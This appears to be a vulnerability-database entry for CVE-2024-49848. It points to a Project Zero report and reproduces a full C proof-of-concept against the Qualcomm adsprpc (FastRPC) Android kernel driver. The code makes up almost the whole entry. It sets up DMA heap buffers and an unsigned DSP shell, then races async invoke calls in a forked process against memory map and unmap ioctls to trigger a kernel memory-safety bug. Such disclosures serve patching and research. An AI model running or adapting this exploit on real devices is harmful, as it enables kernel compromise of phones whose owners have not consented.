vulnerability:exploitability=documented vulnerability:information=PoC vulnerability:information=annotation

Created on 2024-12-18 13:24 and updated on 2024-12-18 13:25.

Description

Ref: https://project-zero.issues.chromium.org/issues/42451725

#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
    int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
    if(adsprpc_fd == -1) {
        printf("open: %m\n");
        return -1;
    }
    unsigned cid = 3;
    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
    int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
    if(shell_fd == -1) {
        printf("open shell: %m\n");
        return -1;
    }
    dma_heap = open("/dev/dma_heap/system",O_RDONLY);
    if(dma_heap == -1) {
        printf("open dma_heap: %m\n");
        return -1;
    }
    struct dma_heap_allocation_data heap_data = {
        .len = 0x131000,
        .fd_flags = O_RDWR,
    };
    ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }
    void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
    long length = read(shell_fd,shell_file_dma,0x131000);
    if(length <= 0) {
        printf("read: %d %m\n",ret);
        return -1;
    }
    close(shell_fd);
    struct fastrpc_ioctl_init_attrs init = {
        .init = {
            .file = shell_file_dma,
            .filefd = heap_data.fd,
            .filelen = length,
            .mem = 0,
            .flags = FASTRPC_INIT_CREATE,
        },
        .attrs = FASTRPC_MODE_UNSIGNED_MODULE
    };
    ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
    if(ret < 0)
    {
        printf("init_attrs: %d %m\n",ret);
        return -1;
    }
    return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
    .len = 0x10000,
    .fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
    return;
}
sig_atomic_t jobid = 0;
long submit_job() {
    unsigned value = 255;
    unsigned out_values[256] = {0};
    struct fastrpc_ioctl_invoke_async ioctl_arg;
    remote_arg_t ra[2];
    ra[0].buf.pv = (void *)&value;
    ra[0].buf.len = sizeof(value);
    ra[1].buf.pv = (void *)(&out_values[1]);
    ra[1].buf.len = value * sizeof(uint32_t);
    ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
    ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
    ioctl_arg.inv.pra = ra;
    ioctl_arg.fds = NULL;
    ioctl_arg.attrs = NULL;
    ioctl_arg.crc = NULL;
    ioctl_arg.perf_kernel = NULL;
    ioctl_arg.perf_dsp = NULL;
    ioctl_arg.job = NULL;
    ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
    ioctl_arg.job->isasyncjob = 1;
    ioctl_arg.job->jobid = jobid++;
    struct fastrpc_ioctl_invoke2 inv;
    inv.invparam = &ioctl_arg;
    inv.req = FASTRPC_INVOKE2_ASYNC;
    inv.size = sizeof(struct fastrpc_ioctl_invoke_async);

    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
    printf("submit job ret: %lx %m\n",ret);
    return ret;
}
void* thread_inv(void* arg) {
    while(1) {
    //Need to replace value with & new map on other thread
        unsigned value = 255;
        unsigned out_values[256] = {0};
        long ret;
        //Not using submit_job() to increase race precision
        struct fastrpc_ioctl_invoke_async ioctl_arg;
        remote_arg_t ra[2];
        ra[0].buf.pv = (void *)0;
        ra[0].buf.len = sizeof(value);
        ra[1].buf.pv = (void *)(&out_values[1]);
        ra[1].buf.len = value * sizeof(uint32_t);
        ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
        ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
        ioctl_arg.inv.pra = ra;
        ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
        ioctl_arg.fds[0] = heap_data.fd;
        ioctl_arg.fds[1] = -1;
        ioctl_arg.attrs = NULL;
        ioctl_arg.crc = NULL;
        ioctl_arg.perf_kernel = NULL;
        ioctl_arg.perf_dsp = NULL;
        ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
        ioctl_arg.job->isasyncjob = 1;
        ioctl_arg.job->jobid = jobid++;
        struct fastrpc_ioctl_invoke2 inv;
        inv.invparam = &ioctl_arg;
        inv.req = FASTRPC_INVOKE2_ASYNC;
        inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
        close(heap_data.fd);
        pthread_barrier_wait(barrier);
        ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
        printf("job submit: %ld %m\n",ret);
        fflush(stdout);
        if(!ret) {
            *((unsigned*) &barrier[1]) = 1;
            pthread_barrier_wait(barrier);
            exit(0);
        }
        pthread_barrier_wait(barrier);

    }


    return NULL;
}

int main() {
    adsprpc_fd = create_and_init_adsprpc();
    if(adsprpc_fd == -1) {
        printf("failed to open adsprpc...\n");
        return 1;
    }
    barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
    pthread_barrierattr_t attr;
    pthread_barrierattr_init(&attr);
    pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
    pthread_barrier_init(barrier,&attr,2);
    //pthread_create(&tid_int,NULL,&thread_interrupt,NULL);

    int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }

    // for(unsigned i = 0; i < 1022; i++) {
    //     if(submit_job() < 0) {
    //         printf("failed to submit a job at i = %u\n",i);
    //         exit(0);
    //     }
    // }
    printf("mapping...\n");
    fflush(stdout);
    value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
    pid_t pid;
    if(!(pid = fork())) {
        thread_inv(NULL);
        exit(0);
    }
    // pthread_create(&tid_inv,NULL,&thread_inv,NULL);

    unsigned long spoof_map = 0x2000;
    uint64_t vaddrouts[1024];
    unsigned top = 0;
    do {
        struct fastrpc_ioctl_mem_map mmap_struct = {
                .m = {
                    .flags = 0,
                    .fd = heap_data.fd,
                    .length = 0x2000,
                    .attrs = 0,
                    .vaddrin = spoof_map,
                    .vaddrout = 0,
                    .offset = 0,
                }
        };
        spoof_map += 0x2000;
        unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
        vaddrouts[top] = mmap_struct.m.vaddrout;
    } while (vaddrouts[top++]);
    // struct fastrpc_ioctl_mem_map mmap_struct = {
    //         .m = {
    //             .flags = 0,
    //             .fd = heap_data.fd,
    //             .length = 0x1000,
    //             .attrs = 0,
    //             .vaddrin = value_loc,
    //             .offset = 0,
    //         }
    // };
    //     //pthread_barrier_wait(&barrier);
    // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
    // printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
    // struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //     .um = {
    //         .fd = heap_data.fd,
    //         .length = 0x1000,
    //         .vaddr = mmap_struct.m.vaddrout
    //     }
    // };
    // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    // printf("mem_unmap1: %lx\n",ioret);
    unsigned first = true;
    while(1) {
        struct fastrpc_ioctl_mem_map mmap_struct = {
            .m = {
                .flags = FASTRPC_MAP_FD_NOMAP,
                .fd = heap_data.fd,
                .length = 0x1000,
                .attrs = FASTRPC_ATTR_KEEP_MAP,
                .vaddrin = value_loc,
                .offset = -1,
            }
        };
        pthread_barrier_wait(barrier);
        unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map2: %lx\n",ret);
        fflush(stdout);
        struct fastrpc_ioctl_munmap_fd final_munmap = {
            .fd = heap_data.fd,
            .flags = 0,
            .len = 0x1000,
            .va = 0
        };
        unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
        printf("munmap fd: %lx %m\n",final_ret);
        pthread_barrier_wait(barrier);
        if(*(unsigned*)&barrier[1]) {
            break;
        }
        if(first && fgetc(stdin) == 'n') {
            kill(pid,SIGKILL);
            exit(0);
        }
        first = false;
    }
    // pthread_join(tid_int,NULL);
    // pthread_join(tid_inv,NULL);


    // for(unsigned i = 0; i < top; i++)
    // {
    //     struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //         .um = {
    //             .fd = heap_data.fd,
    //             .length = 0x2000,
    //             .vaddr = vaddrouts[i],
    //         }
    //     };
    //     unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    //     if(ioret)
    //         printf("unexpected unmap fail %lx %m\n",ioret);
    // }
    // while(1) sleep(1);
    return 0;
    // struct fastrpc_ioctl_mmap mmap_struct2 = {
    //     .fd = -1,
    //     .flags = ADSP_MMAP_HEAP_ADDR,
    //     .vaddrin = 0,
    //     .size = 0x1000
    // };
    // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
    // if(ret < 0)
    // {
    //     printf("ret mmap: %lx %m\n",ret);
    // }
    // printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);

}

Associated vulnerability

CVE-2024-49848

Meta

[
  {
    "tags": [
      "vulnerability:exploitability=documented",
      "vulnerability:information=PoC",
      "vulnerability:information=annotation"
    ]
  }
]

Author

Alexandre Dulaunoy